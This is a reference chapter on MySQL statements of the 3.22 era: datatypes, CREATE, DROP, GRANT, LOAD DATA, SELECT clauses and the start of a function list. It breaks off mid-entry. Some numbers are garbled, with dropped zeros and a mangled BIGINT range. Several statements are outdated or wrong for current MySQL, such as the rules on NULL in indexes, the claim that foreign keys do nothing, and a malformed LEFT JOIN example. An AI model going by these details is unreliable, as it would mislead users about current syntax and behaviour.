The CREATE DATABASE statement creates an entirely new, empty database. This is equivalent to running the mysqladmin create utility. As with running mysqladmin, you must be the administrative user for MySQL (usually root or mysql) to perform this statement.

The CREATE FUNCTION statement allows MySQL statements to access precompiled executable functions. These functions can perform practically any operation, since they are designed and implemented by the user. The return value of the function can be STRING, for character data; REAL, for floating point numbers; or INTEGER for integer numbers. MySQL will translate the return value of the C function to the indicated type. The library file that contains the function must be a standard shared library that MySQL can dynamically link into the server.

The CREATE TABLE statement defines the structure of a table within the database. This statement is how all MySQL tables are created. This statement consists of the name of the new table followed by any number of field definitions. The syntax of a field definition is the name of the field followed by its type, followed by any modifiers (e.g., name char(30) not null). MySQL supports the following datatypes, as shown in Table 15-1.

Table 15-1. Datatypes

Type | (in bytes) | Comments
TINYINT( length)/INT1(length) | 1 | Integer with unsigned range of 0-255 and signed range of -128-127.
SMALLINT( length)/INT2(length) | 2 | Integer with unsigned range of 0-65535 and signed range of -32768-32767.
MEDIUMINT( length)/INT3(length)/MIDDLEINT( length) | 3 | -8388608-8388607.
INT( length)/INTEGER(length)/INT4(length) | 4 | -2147483648-2147483647.
BIGINT( length)/INT8(length) | 8 | 0-18446744-7370955165 and signed range of -9223372036854775808-9223372036854775807.
FLOAT/FLOAT(4)/FLOAT( length,decimal)/FLOAT4(length,decimal) | 4 | Floating point number with maximum value +/-3.402823466E38 and minimum (non-zero) value +/-1.175494351E-38.
DOUBLEPRECISION( length,decimal)/DOUBLE( length,decimal)/REAL( length,decimal)/FLOAT8(length,decimal)/FLOAT(8) | 8 | +/-2.2250738585072014E-308.
DECIMAL( length,decimal)/NUMERIC( length,decimal) | length | Floating point number with the range of the DOUBLE type that is stored as a CHAR field. DECIMAL and NUMERIC are always treated as CHAR fields that just happen to contain a numeric value.
TIMESTAMP( length) | 4 | A timestamp value that updates every time the row is modified. You may also assign a value to field manually. Assigning a NULL`YYMMDD'.
DATE | 3 | A date value that stores the year, month and date. Values are always output with the format `YYYY-MM-DD', but may be entered in any of the following formats: `YY-MM-DD', `YYYY-MM-DD', `YYMMDD', or `YYYYMMDDHHMSS' (the time portion is ignored).
TIME | 3 | A time value that stores the hour, minute and second. Values are always output with the format `HH:MM:SS' but may be entered in any of the following formats: `HH:MM:SS', `HHMMSS', `HHMM' (seconds are set to 0), or `HH' (minutes and seconds are set to 0).
DATETIME | 8 | A value that stores both the date and the time. Values are both input and output as `YYYY-MM-DD HH:MM:SS'.
YEAR | 1 | A value that stores the year. Values can be input in either the `YYYY' or `YY' format and will be output as two- or four-digit years depending on the input format. Two digit years are assumed to lie between 1970 and 2069, inclusive. This type currently only understands years within the range of 1901 to 2155.
CHAR( length)/BINARY(length) | length | A fixed length text string. Any input that is shorter than the length is padded with spaces at the end. All trailing spaces, whether inserted by MySQL or not, are removed when outputting values. MySQL treats text as case-insensitive by default (see the BINARY modifier, below). The BINARY type is equivalent to CHAR with the BINARY modifier.
CHAR(length) VARYING/ VARCHAR( length)/ VARBINARY( length) | length | A variable length text string (case-insensitive) with a predefined maximum length. The maximum length must be between 1 and 255 characters. Any trailing spaces are removed before storing data of this type. The VARBINARY type is equivalent to VARCHAR with the BINARY modifier.
TINYTEXT | length+1 | A text field (case-insensitive) with a maximum length of 255 characters.
TINYBLOB | length+1 | A binary field (case-sensitive) with a maximum length of 255 characters. Binary data is case-sensitive.
TEXT/LONG VARCHAR | length+2 | A text field with a maximum length of 64KB of text.
BLOB/LONG VARBINARY | length+2 | A binary field with a maximum length of 64KB of data.
MEDIUMTEXT | length+3 | A text field with a maximum length of 16MB of text.
MEDIUMBLOB | length+3 | A binary field with a maximum length of 16MB of data.
LONGTEXT | length+4 | A text field with a maximum length of 4GB of text.
LONGBLOB | length+4 | A binary field with a maximum length of 4GB of data.
ENUM | 1,2 | A field that can contain one of a number of predefined possible values (e.g., ENUM ("apples," "oranges," "bananas"). Data may be either entered as one of the text options or as a number corresponding to the index of an option (the first option is number 1). A NULL value may always be entered for the field. A maximum of 65535 different options may be defined per enumeration. If there are less than 256 options, the field will take up only one byte of space (otherwise it will use two).
SET | 1-8 | A field that can contain any number of a set of predefined possible values (e.g., SET ("rock," "pop," "country," "western"). Data may be entered as a comma-separated list of values or as an integer that is the bit representation of the values (e.g., 12, which is 1100 in binary, would correspond to "country, western" in the example above). There is a maximum of 64 values in a single set.

In addition to the main types, several modifiers can also be used to qualify the type:

decimal

This is the maximum number of decimals allowed in a floating point value. Any values entered that have more decimal places will be rounded off. For example, for the field price FLOAT(5,2) the value 4.34 would be displayed as 4.34, the value 234.27 would be displayed as 234.3 (to satisfy the maximum total length) and the value 3.331 would be displayed as 3.33 (to satisfy the maximum decimal length).

length

For numerical values, this is the number of characters used to display the value to the user. This includes decimal points, signs, and exponent indicators. For example, the field peanuts INT(4) has a legal range of -999 to 9999. MySQL will store values outside the given range, however, as long as it is inside the maximum range of the type. If you store a value that is outside the defined range, MySQL will issue a warning, but everything will work normally.

When used with the TIMESTAMP type, the length determines the format used for the timestamp.

When used with a character type, the length determines the number of characters in the data. For fixed character types, the length is exactly the number of characters used to store the data. For variable characters types, the length is the length of the longest allowed string.

The length attribute is optional for all types except for DECIMAL/NUMERIC, CHAR and VARCHAR.

NOTE

Since the DECIMAL/NUMERIC type is stored as a character string, it is bound by the maximum length the same way a CHAR field would be. Therefore, inserting numbers outside of the range defined on the field will fail and generate an error just as if an overly long string were inserted into a CHAR field.

precision

This attribute is available in the FLOAT type to provide compatibility with the ODBC system. The value of this attribute can be 4 to define a normal float (same as FLOAT without a precision attribute) or 8 to define a double precision float (same as the DOUBLE field).

AUTO_INCREMENT

This attribute allows a numeric field to be automatically updated. This is useful for creating unique identification numbers for the rows in the table. Data can be inserted and read normally from an AUTO_INCREMENT field, but if a value of NULL or is inserted, the existing value of the field is increased by one automatically. The current value of an AUTO_INCREMENT field can be obtained by using the LAST_INSERT_ID function (see SELECT, below).

BINARY

This attribute can be used with CHAR and VARCHAR types to indicate binary data in the text string. The only effect that BINARY has is to make any sorting of the values case-sensitive. By default, MySQL ignores case when sorting text.

DEFAULT value

This attribute assigns a default value to a field. If a row is inserted into the table without a value for this field, this value will be inserted. If a default is not defined, a null value is inserted unless the field is defined as NOT NULL in which case MySQL picks a value based on the type of the field.

NOT NULL

This attribute guarantees that every entry in the column will have some non-NULL value. Attempting to insert a NULL value into a field defined with NOT NULL will generate an error.

NULL

This attribute specifies that the field is allowed to contain NULL values. This is the default if neither this nor the NOT NULL modifier are specified. Fields that are contained within an index cannot contain the NULL modifier. (It will be ignored, without warning, if it does exist in such a field.)

PRIMARY KEY

This attribute automatically makes the field the primary key (see later) for the table. Only one primary key may exist for a table. Any field that is a primary key must also contain the NOT NULL modifier.

REFERENCES table [column, . . .)] [MATCH FULL | MATCH PARTIAL] [ON DELETE option ] [ON UPDATE option]

This attribute currently has no effect. MySQL understands the full references syntax but does not implement its behavior. The modifier is included to make it easier to import SQL from different SQL sources. In addition, this functionality may be included in a future release of MySQL.

UNSIGNED

This attribute can be used with integer types to define an unsigned integer. The maximum value of an unsigned integer is twice that of its signed counterpart, but it cannot store negative values. Without any modifiers, all types are considered to be signed.

ZEROFILL

The attribute can be used with integer types to add zeros to the left of every number until the maximum length is reached. For example, the field counter INT(5) ZEROFILL would display the number 132 as 00132.

Indexes

MySQL supports the concept of an index of a table, as described in Chapter 2, "Database Design". Indexes are created by means of special "types" that are included with the table definition:

KEY/INDEX [name] (column, [column2, . . .])

Creates a regular index of all of the named columns (KEY and INDEX, in this context, are synonyms). Optionally the index may be given a name. If no name is provided, a name is assigned based on the first column given and a trailing number, if necessary, for uniqueness. If a key contains more than one column, leftmost subsets of those columns are also included in the index. Consider the following index definition.

INDEX idx1 ( name, rank, serial );

When this index is created, the following groups of columns will be indexed:

  • name, rank, serial

  • name, rank

  • name

PRIMARY KEY

Creates the primary key of the table. A primary key is a special key that can be defined only once in a table. The primary key is a UNIQUE key with the name "PRIMARY." Despite it's privileged status, in function it is the same as every other unique key.

UNIQUE [name] (column, [column2, . . .])

Creates a special index where every value contained in the index (and therefore in the fields indexed) must be unique. Attempting to insert a value that already exists into a unique index will generate an error. The following would create a unique index of the "nicknames" field:

UNIQUE (nicknames);

NOTE

In the current implementation of MySQL's indices, NULL values are not allowed in any field that is part of an index.

When indexing character fields (CHAR, VARCHAR and their synonyms only), it is possible to index only a prefix of the entire field. For example, this following will create an index of the numeric field `id' along with the first 20 characters of the character field `address':

INDEX adds ( id, address(20) );

When performing any searches of the field `address', only the first 20 characters will be used for comparison unless more than one match is found that contains the same first 20 characters, in which case a regular search of the data is performed. Therefore, it can be a big performance bonus to index only the number of characters in a text field that you know will make the value unique.

Fields contained in an index must be defined with the NOT NULL modifier (see earlier). When adding an index as a separate declaration, MySQL will generate an error if NOT NULL is missing. However, when defining the primary key by adding the PRIMARY KEY modifier to the field definition, the NOT NULL modifier is automatically added (without a warning) if it is not explicitly defined.

In addition to the above, MySQL supports the following special "types":

  • FOREIGN KEY (name (column, [column2, . . . ])

  • CHECK

These keywords do not actually perform any action. They exist so that SQL exported from other databases can be more easily read into MySQL. Also, some of this missing functionality may be added into a future version of MySQL.

You must have CREATE privileges on a database to use the CREATE TABLE statement.

Examples

# Create the new empty database 'employees'
CREATE DATABASE employees;
CREATE TABLE emp_data ( id INT, name CHAR(50) );
# Make the function make_coffee (which returns a string value and is stored
# in the myfuncs.so shared library) available to MySQL.
CREATE FUNCTION make_coffee RETURNS string SONAME "myfuncs.so";
DELETE
DELETE FROM table [WHERE clause]

Deletes rows from a table. When used without a WHERE clause, this will erase the entire table and recreate it as an empty table. With a clause, it will delete the rows that match the condition of the clause. This statement returns the number of rows deleted to the user.

As mentioned above, not including a WHERE clause will erase this entire table. This is done using an efficient method that is much faster than deleting each row individually. When using this method, MySQL returns to the user because it has no way of knowing how many rows it deleted. In the current design, this method simply deletes all of the files associated with the table except for the file that contains the actual table definition. Therefore, this is a handy method of zeroing out tables with unrecoverably corrupt data files. You will lose the data, but the table structure will still be in place.

You must have DELETE privileges on a database to use the following statement:

Examples

# Erase all of the data (but not the table itself) for the table 'olddata'.
DELETE FROM olddata
# Erase all records in the 'sales' table where the 'year' field is '1995'.
DELETE FROM sales WHERE year=1995
DESCRIBE
DESC
DESCRIBE table[column]
DESC table[column]

Gives information about a table or column. While this statement works as advertised, its functionality is available (along with much more) in the SHOW statement. This statement is included solely for compatibility with Oracle SQL. The optional column name can contain SQL wildcards, in which case information will be displayed for all matching columns.

Example

# Describe the layout of the table 'messy'
DESCRIBE messy
# Show the information about any columns starting with 'my_' in the 'big' table.
# Remember: '_' is a wildcard, too, so it must be escaped to be used literally.
DESC big my\_%
DROP
DROP DATABASE name
DROP INDEX name
DROP TABLE [IF EXISTS] name[, name2, ...]
DROP FUNCTION name

Permanently remove a database, table, index, or function from the MySQL system.

DROP DATABASE

Will remove an entire database with all of its associated files. The number of files deleted will be returned to the user. Because three files represent most tables, the number returned is usually the number of tables times three. This is equivalent to running the mysqladmin drop utility. As with running mysqladmin, you must be the administrative user for MySQL (usually root or mysql) to perform this statement.

DROP INDEX

Statement provides for compatibility with other SQL implementations. In older versions of MySQL, this statement does nothing. As of 3.22, this statement is equivalent to ALTER TABLE . . . DROP INDEX. To perform the DROP INDEX statement, you must have SELECT, INSERT, DELETE, UPDATE, CREATE and DROP privileges for the table in question.

DROP TABLE

Will erase an entire table permanently. In the current implementation, MySQL simply deletes the files associated with the table. As of 3.22, you may specify IF EXISTS to make MySQL not return an error if you attempt to remove a table that does not exist. You must have DELETE privileges on the table to use this statement.

DROP FUNCTION

Will remove a user defined function from the running MySQL server process. This does not actually delete the library file containing the function. You may add the function again at any time using the CREATE FUNCTION statement. In the current implementation DROP FUNCTION simply removes the function from the function table within the Mysql database. This table keeps track of all active functions.

You must have DROP privileges on that table to execute this statement.

WARNING

DROP is by far the most dangerous SQL statement. If you have drop privileges, you may permanently erase a table or even an entire database. This is done without warning or confirmation. The only way to undo a DROP is to restore the table or database from backups. The lessons to be learned here are: (1) always keep backups; (2) don't use DROP unless you are really sure; and (3) always keep backups.

Examples

# Completely remove the 'important_data' database from the face of the Earth.
DROP DATABASE important_data
# Delete the tables 'oh_no', 'help_me' and 'dont_do_it'
DROP TABLE oh_no, help_me, dont_do_it
# Remove the named index 'my_index'
DROP INDEX my_index
# Remove the function 'myfunc' from the running server. This can be added again
# at anytime using the CREATE FUNCTION statement.
DROP FUNCTION myfunc
EXPLAIN
EXPLAIN SELECT statement

Displays verbose information about the order and structure of a SELECT statement. This can be used to see where keys are not being used efficiently.

Example

EXPLAIN SELECT customer.name, product.name FROM customer, product, purchases
WHERE purchases.customer=customer.id AND purchases.product=product.id
FLUSH
FLUSH option[, option...]

Flushes or resets various internal processes depending on the option(s) given. You must have reload privileges to execute this statement. The option can be any of the following:

HOSTS

Empties the cache table that stores hostname information for clients. This should be used if a client changes IP addresses, or if there are errors related to connecting to the host.

LOGS

Closes all of the standard log files and reopens them. This can be used if a log file has changed inode number. If no specific extension has been given to the update log, a new update log will be opened with the extension incremented by one.

PRIVILEGES

Reloads all of the internal MySQL permissions grant tables. This must be run for any changes to the tables to take effect.

STATUS

Resets the status variables that keep track of the current state of the server.

TABLES

Closes all currently opened tables and flushes any cached data to disk.

GRANT
GRANT privilege [ (column, ...) ] [, privilege [( column, ...) ] ...]
    ON {table} TO user [IDENTIFIED BY 'password']
        [, user [IDENTIFIED BY 'password'] ...] [WITH GRANT OPTION]

Previous to MySQL 3.22.11, the GRANT statement was recognized but did nothing. In current versions, GRANT is functional. This statement will enable access rights to a user (or users). Access can be granted per database, table or individual column. The table can be given as a table within the current database, `*' to affect all tables within the current database, `*.*' to affect all tables within all databases or `database.*' to effect all tables within the given database.

The following privileges are currently supported:

ALL PRIVILEDGES/ALL

Effects all privileges

ALTER

Altering the structure of tables

CREATE

Creating new tables

DELETE

Deleting rows from tables

DROP

Deleting entire tables

FILE

Creating and removing entire databases as well as managing log files

INDEX

Creating and deleting indices from tables

INSERT

Inserting data into tables

PROCESS

Killing process threads

REFERENCES

Not implemented (yet)

RELOAD

Refreshing various internal tables (see the FLUSH statement)

SELECT

Reading data from tables

SHUTDOWN

Shutting down the database server

UPDATE

Altering rows within tables

USAGE

No privileges at all

The user variable is of the form user@hostname. Either the user or the hostname can contain SQL wildcards. If wildcards are used, either the whole name must be quoted, or just the part(s) with the wildcards (e.g., joe@"%.com " and "joe@%.com" are both valid). A user without a hostname is considered to be the same as user@"%".

If you have a global GRANT privilege, you may specify an optional INDENTIFIED BY modifier. If the user in the statement does not exist, it will be created with the given password. Otherwise the existing user will have his or her password changed.

Giving the GRANT privilege to a user is done with the WITH GRANT OPTION modifier. If this is used, the user may grant any privilege they have onto another user.

INSERT
INSERT [DELAYED | LOW_PRIORITY ] [INTO]table [ (column, ...) ] VALUES (values )
 [,( values )... ]
INSERT [LOW_PRIORITY] [INTO] table [ (column, ...) ] SELECT ...
INSERT [LOW_PRIORITY] [INTO] table SET column=value, column=value,...

Inserts data into a table. The first form of this statement simply inserts the given values into the given columns. Columns in the table that are not given values are set to their default value or NULL. The second form takes the results of a SELECT query and inserts them into the table. The third form is simply an alternate version of the first form that more explicitly shows which columns correspond with which values. If the DELAYED modifier is present in the first form, all incoming SELECT statements will be given priority over the insert, which will wait until the other activity has finished before inserting the data. In a similar way, using the LOW_PRIORITY modifier with any form of INSERT will cause the insertion to be postponed until all other operations from the client have been finished.

When using a SELECT query with the INSERT statement, you cannot use the ORDER BY modifier with the SELECT statement. Also, you cannot insert into the same table you are selecting from.

Starting with MySQL 3.22.5 it is possible to insert more than one row into a table at a time. This is done by adding additional value lists to the statement separated by commas.

You must have INSERT privileges to use this statement.

Examples

# Insert a record into the 'people' table.
INSERT INTO people ( name, rank, serial_number ) VALUES ( 'Bob Smith',
    'Captain', 12345 );
# Copy all records from 'data' that are older than a certain date into
# 'old_data'. This would usually be followed by deleting the old data from
# 'data'.
INSERT INTO old_data ( id, date, field ) SELECT ( id, date, field) FROM data
    WHERE date < 87459300;
# Insert 3 new records into the 'people' table.
INSERT INTO people (name, rank, serial_number ) VALUES ( 'Tim O\'Reilly',
'General', 1), ('Andy Oram', 'Major', 4342), ('Randy Yarger', 'Private', 9943);
KILL
KILL thread_id

Terminates the specified thread. The thread ID numbers can be found using the SHOW PROCESSES statement. Killing threads owned by users other than yourself require process privilege.

Example

# Terminate thread 3
KILL 3
LOAD
LOAD DATA [LOCAL] INFILE file [REPLACE|IGNORE] INTO TABLE table [delimiters] [(columns)]

Reads a text file that is in a readable format and inserts the data into a database table. This method of inserting data is much quicker than using multiple INSERT statements. Although the statement may be sent from all clients just like any other SQL statement, the file referred to in the statement is assumed to be located on the server. If the filename does not have a fully qualified path, MySQL looks under the directory for the current database for the file. As of MySQL 3.22, if the LOCAL modifier is present, the file will be read from the client's local filesystem.

With no delimiters specified, LOAD DATA INFILE will assume that the file is tab delimited with character fields, special characters escaped with the backslash (\), and lines terminated with a newline character.

In addition to the default behavior, you may specify your own delimiters using the following keywords:

FIELDS TERMINATED BY 'c'

Specifies the character used to delimit the fields. Standard C language escape codes can be used to designate special characters. This value may contain more than one character. For example, FIELDS TERMINATED BY ',' denotes a comma delimited file and FIELDS TERMINATED BY '\t' denotes tab delimited. The default value is tab delimited.

FIELDS ENCLOSED BY 'c'

Specifies the character used to enclose character strings. For example, FIELD ENCLOSED BY '"' would mean that a line containing "this, value", "this", "value" would be taken to have three fields: "this,value", "this", and "value". The default behavior is to assume that no quoting is used in the file.

FIELDS ESCAPED BY 'c'

Specifies the character used to indicate that the next character is not special, even though it would usually be a special character. For example, with FIELDS ESCAPED BY '^' a line consisting of First,Second^,Third,Fourth would be parsed as three fields: "First", "Second,Third" and "Fourth". The exceptions to this rule are the null characters. Assuming the FIELDS ESCAPED BY value is a backslash, \0 indicates an ASCII NULL (character number 0) and \N indicates a MySQL null value. The default value is the backslash character. Note that MySQL itself considers the backslash character to be special. Therefore to indicate backslash in that statement you must backslash the backslash like this: FIELDS ESCAPED BY '\\'.

LINES TERMINATED BY 'c'

Specifies the character that indicates the start of a new record. This value can contain more than one character. For example, with LINES TERMINATED BY '.', a file consisting of a,b,c.d,e,f.g,h,k. would be parsed as three separate records, each containing three fields. The default is the newline character. This means that by default, MySQL assumes that each line is a separate record.

The keyword FIELDS should only be used for the entire statement. For example:

LOAD DATA INFILE data.txt FIELDS TERMINATED BY ',' ESCAPED BY '\\'.

By default, if a value read from the file is the same as an existing value in the table for a field that is part of a unique key, an error is given. If the REPLACE keyword is added to the statement, the value from the file will replace the one already in the table. Conversely, the IGNORE keyword will cause MySQL to ignore the new value and keep the old one.

The word NULL encountered in the data file is considered to indicate a null value unless the FIELDS ENCLOSED BY character encloses it.

Using the same character for more than one delimiter can confuse MySQL. For example, FIELDS TERMINATED BY ' , ' ENCLOSED BY ' , ' would produce unpredictable behavior.

If a list of columns is provided, the data is inserted into those particular fields in the table. If no columns are provided, the number of fields in the data must match the number of fields in the table, and they must be in the same order as the fields are defined in the table.

You must have SELECT and INSERT privileges on the table to use this statement.

Example

# Load in the data contained in 'mydata.txt' into the table 'mydata'. Assume
# that the file is tab delimited with no quotes surrounding the fields.
LOAD DATA INFILE 'mydata.txt' INTO TABLE mydata
# Load in the data contained in 'newdata.txt' Look for two comma delimited
# fields and insert their values into the fields 'field1' and 'field2' in
# the 'newtable' table.
LOAD DATA INFILE 'newdata.txt' INTO TABLE newtable FIELDS TERMINATED BY ','
   ( field1, field2 )
LOCK
LOCK TABLES name [AS alias] READ|WRITE [, name2 [AS alias] READ|WRITE, ...]

Locks a table for the use of a specific thread. This command is generally used to emulate transactions as described in Chapter 7, "Other Mid-Range Database Engines". If a thread creates a READ lock all other threads may read from the table but only the controlling thread can write to the table. If a thread creates a WRITE lock, no other thread may read from or write to the table.

WARNING

Using locked and unlocked tables at the same time can cause the process thread to freeze. You must lock all of the tables you will be accessing during the time of the lock. Tables you access only before or after the lock do not need to be locked. The newest versions of MySQL generate an error if you attempt to access an unlocked table while you have other tables locked.

Example

# Lock tables 'table1' and 'table3' to prevent updates, and block all access
# to 'table2'. Also create the alias 't3' for 'table3' in the current thread.
LOCK TABLES table1 READ, table2 WRITE, table3 AS t3 READ
OPTIMIZE
OPTIMIZE TABLE name

Recreates a table eliminating any wasted space. This is done by creating the optimized table as a separate, temporary table and then moving over to replace the current table. While the procedure is happening, all table operations continue as normal (all writes are diverted to the temporary table).

Example

OPTIMIZE TABLE mytable
REPLACE
REPLACE INTO table [( column, ...)] VALUES ( value , ...)
REPLACE INTO table [(column, ...)] SELECT select_clause

Inserts data to a table, replacing any old data that conflicts. This statement is identical to INSERT except that if a value conflicts with an existing unique key, the new value replaces the old one. The first form of this statement simply inserts the given values into the given columns. Columns in the table that are not given values are set to their default value or NULL. The second form takes the results of a SELECT query and inserts them into the table.

Examples

# Insert a record into the 'people' table.
REPLACE INTO people ( name, rank, serial_number ) VALUES ( 'Bob Smith',
    'Captain', 12345 )
# Copy all records from 'data' that are older than a certain date into
# 'old_data'. This would usually be followed by deleting the old data from
# 'data'.
REPLACE INTO old_data ( id, date, field ) SELECT ( id, date, field) FROM data
    WHERE date < 87459300
REVOKE
REVOKE privilege [(column, ...)] [, privilege [(column, ...) ...]
   ON table FROM user

Removes a privilege from a user. The values of privilege, table, and user are the same as for the GRANT statement. You must have the GRANT privilege to be able to execute this statement.

SELECT
SELECT [STRAIGHT_JOIN] [DISTINCT|ALL] value[, value2...]
[INTO OUTFILE 'filename' delimiters] FROM table[, table2...] [clause]

Retrieve data from a database. The SELECT statement is the primary method of reading data from database tables.

If you specify more than one table, MySQL will automatically join the tables so that you can compare values between the tables. In cases where MySQL does not perform the join in an efficient manner, you can specify STRAIGHT_JOIN to force MySQL to join the tables in the order you enter them in the query.

If the DISTINCT keyword is present, only one row of data will be output for every group of rows that is identical. The ALL keyword is the opposite of distinct and displays all returned data. The default behavior is ALL.

The returned values can be any one of the following:

Aliases

Any complex column name or function can be simplified by creating an alias for it. The value can be referred to by its alias anywhere else in the SELECT statement (e.g., SELECT DATE_FORMAT(date,"%W, %M %d %Y") as nice_date FROM calendar).

Column names

These can be specified as column, table.column or database.table.column. The longer forms are necessary only to disambiguate columns with the same name, but can be used at any time (e.g., SELECT name FROM people; SELECT mydata.people.name FROM people).

Functions

MySQL supports a wide range of built-in functions (see later). In addition, user defined functions can be added at any time using the CREATE FUNCTION statement (e.g., SELECT COS(angle) FROM triangle).

By default, MySQL sends all output to the client that sent the query. It is possible however, to have the output redirected to a file. In this way you can dump the contents of a table (or selected parts of it) to a formatted file that can either be human readable, or formatted for easy parsing by another database system.

The INTO OUTFILE 'filename' delimiters modifier is the means in which output redirection is accomplished. With this the results of the SELECT query are put into filename. The format of the file is determined by the delimiters arguments, which are the same as the LOAD DATA INFILE statement with the following additions:

  • The OPTIONALLY keyword may be added to the FIELDS ENCLOSED BY modifier. This will cause MySQL to thread enclosed data as strings and non-enclosed data as numeric.

  • Removing all field delimiters (i.e., FIELDS TERMINATED BY '' ENCLOSED BY '') will cause a fixed-width format to be used. Data will be exported according to the display size of each field. Many spreadsheets and desktop databases can import fixed-width format files.

The default behavior with no delimiters is to export tab delimited data using backslash (\) as the escape character and to write one record per line.

The list of tables to join may be specified in the following ways:

Table1, Table2, Table3, . . .

This is the simplest form. The tables are joined in the manner that MySQL deems most efficient. This method can also be written as Table1 JOIN Table2 JOIN Table3, .... The CROSS keyword can also be used, but it has no effect (e.g., Table1 CROSS JOIN Table2) Only rows that match the conditions for both columns are included in the joined table. For example, SELECT * FROM people, homes WHERE people.id=homes.owner would create a joined table containing the rows in the people table that have id fields that match the owner field in the homes table.

NOTE

Like values, table names can also be aliased (e.g., SELECT t1.name, t2.address FROM long_table_name t1, longer_table_name t2)

Table1 STRAIGHT_JOIN Table2

This is identical to the earlier method, except that the left table is always read before the right table. This should be used if MySQL performs inefficient sorts by joining the tables in the wrong order.

Table1 LEFT [OUTER] JOIN Table2 ON clause

This checks the right table against the clause. For each row that does not match, a row of NULLs is used to join with the left table. Using the previous example SELECT * FROM people, homes LEFT JOIN people, homes ON people.id=homes.owner, the joined table would contain all of the rows that match in both tables, as well as any rows in the people table that do not have matching rows in the homes table, NULL values would be used for the homes fields in these rows. The OUTER keyword is optional and has no effect.

Table1 LEFT [OUTER] JOIN Table2 USING (column[, column2 . . .])

This joins the specified columns only if they exist in both tables (e.g., SELECT * FROM old LEFT OUTER JOIN new USING (id))

Table1 NATURAL LEFT [OUTER] JOIN Table2

This joins only the columns that exist in both tables. This would be the same as using the previous method and specifying all of the columns in both tables (e.g., SELECT rich_people.salary, poor_people.salary FROM rich_people NATURAL LEFT JOIN poor_people)

{ oj Table1 LEFT OUTER JOIN Table2 ON clause }

This is identical to Table1 LEFT JOIN Table2 ON clause and is only included for ODBC compatibility. (The "oj" stands for "Outer Join".)

If no clause is provided, SELECT returns all of the data in the selected table(s).

The search clause can contain any of the following substatements:

WHERE statement

The WHERE statement construct is the most common way of searching for data in SQL. This statement is usually a comparison of some type but can also include any of the functions listed below, except for the aggregate functions. Named values, such as column names and aliases, and literal numbers and strings can be used in the statement. The following operators are supported:

( )

Parentheses are used to group operators in order to force precedence.

+

Adds two numerical values

-

Subtracts two numerical values

*

Multiplies two numerical values

/

Divides two numerical values

%

Gives the modulo of two numerical values

|

Performs a bitwise OR on two integer values

&

Performs a bitwise AND on two integer values

<<

Performs a bitwise left shift on an integer value

>>

Performs a bitwise right shift on an integer value

NOT or !

Performs a logical NOT (returns 1 if the value is 0 and returns 0 otherwise).

OR or ||

Performs a logical OR (returns 1 if any of the arguments are not 0, otherwise returns 0)

AND or &&

Performs a logical AND (returns 0 if any of the arguments are 0, otherwise returns 1)

=

Match rows if the two values are equal. MySQL automatically converts between types when comparing values.

<> or !=

Match rows if the two values are not equal.

<=

Match rows if the left value is less than or equal to the right value.

<

Match rows if the left value is less than the right value.

>=

Match rows if the left value is greater than or equal to the right value.

>

Match rows if the left value is greater than the right value.

value BETWEEN value1 AND value2

Match rows if value is between value1 and value2, or equal to one of them.

value IN (value1,value2,...)

Match rows if value is among the values listed.

value NOT IN (value1, value2,...)

Match rows if value is not among the values listed.

value1 LIKE value2

Compares value1 to value2 and matches the rows if they match. The right-hand value can contain the wildcard '%' which matches any number of characters (including 0) and '_' which matches exactly one character. This is probably the single most used comparison in SQL. The most common usage is to compare a field value with a literal containing a wildcard (e.g., SELECT name FROM people WHERE name LIKE 'B%').

value1 NOT LIKE value2

Compares value1 to value2 and matches the rows if they differ. This is identical to NOT (value1 LIKE value2).

value1 REGEXP/RLIKE value2

Compares value1 to value2 using the extended regular expression syntax and matches the rows if they match. The right hand value can contain full Unix regular expression wildcards and constructs (e.g., SELECT name FROM people WHERE name RLIKE '^B.*').

value1 NOT REGEXP value2

Compares value1 to value2 using the extended regular expression syntax and matches the rows if they differ. This is identical to NOT (value1 REXEXP value2).

The WHERE clause returns any of the expression values that are not or NULL (that is, anything that is not logically false). Therefore, SELECT age FROM people WHERE age>10 will return only those ages that are greater than 10.

GROUP BY column[, column2,...]

This gathers all of the rows together that contain data from a certain column. This allows aggregate functions to be performed upon the columns (e.g., SELECT name,MAX(age) FROM people GROUP BY name).

HAVING clause

This is the same as a WHERE clause except that it is performed upon the data that has already been retrieved from the database. The HAVING statement is a good place to perform aggregate functions on relatively small sets of data that have been retrieved from large tables. This way, the function does not have to act upon the whole table, only the data that has already been selected (e.g., SELECT name,MAX(age) FROM people GROUP BY name HAVING MAX(age)>80).

ORDER BY column [ASC|DESC][, column2 [ASC|DESC],...]

Sorts the returned data using the given column(s). If DESC is present, the data is sorted in descending order, otherwise ascending order is used. Ascending order can also be explicitly stated with the ASC keyword (e.g., SELECT name, age FROM people ORDER BY age DESC).

LIMIT [start,] rows

Returns Only the specified number of rows. If the start value is supplied, that many rows are skipped before the data is returned. The first row is number (e.g., SELECT url FROM links LIMIT 5,10 (returns URL's numbered 5 through 14).

PROCEDURE name

In mSQL and early versions of MySQL, this does not do anything. It was provided to make importing data from other SQL servers easier. Starting with MySQL 3.22, this substatement lets you specify a procedure that modifies the query result before returning it to the client.

SELECT supports the concept of functions. MySQL defines several built-in functions that can operate upon the data in the table, returning the computed value(s) to the user. With some functions, the value returned depends on whether the user wants to receive a numerical or string value. This is regarded as the "context" of the function. When selecting values to be displayed to the user, only text context is used, but when selecting data to be inserted into a field, or to be used as the argument of another function, the context depends upon what the receiver is expecting. For instance, selecting data to be inserted into a numerical field will place the function into a numerical context.

The following are all of the named functions built into MySQL:

ABS( number)

Returns the absolute value of number (e.g., ABS(-10) returns 10).

ACOS( number)

Returns the inverse cosine of number in radians (e.g., ACOS(0) returns 1.570796).

ASCII( char)

Returns the ASCII value of the given character (e.g., ASCII(`h') returns 104).

ASIN( number)

Returns the inverse sine of number in radians (e.g., ASIN(0) returns 0.000000).

ATAN( number)

Returns the inverse tangent of number in radians (e.g., ATAN(1) returns 0.785398.)

ATAN2( X, Y)

Returns the inverse tangent of the point (X,Y) (e.g., ATAN(-3,3) returns -0.785398).

CHAR( num1[,num2,. . .])

Returns a string made from converting each of the numbers to the character corresponding to that ASCII value (e.g., CHAR(122) returns `z').

CONCAT( string1,string2[,string3,. . .])

Returns the string formed by joining together all of the arguments (e.g., CONCAT('Hi',' ','Mom','!') returns "Hi Mom!").

CONV( number, base1, base2)

Returns the value of number converted from base1 to base2. Number must be an integer value (either as a bare number or as a string). The bases can be any integer from 2 to 36 (e.g., CONV(8,10,2) returns 1000 (the number 8 in decimal converted to binary)).

BIN( decimal)

Returns the binary value of the given decimal number. This is equivalent to the function CONV(decimal,10,2) (e.g., BIN(8) returns 1000).

BIT_COUNT(number)

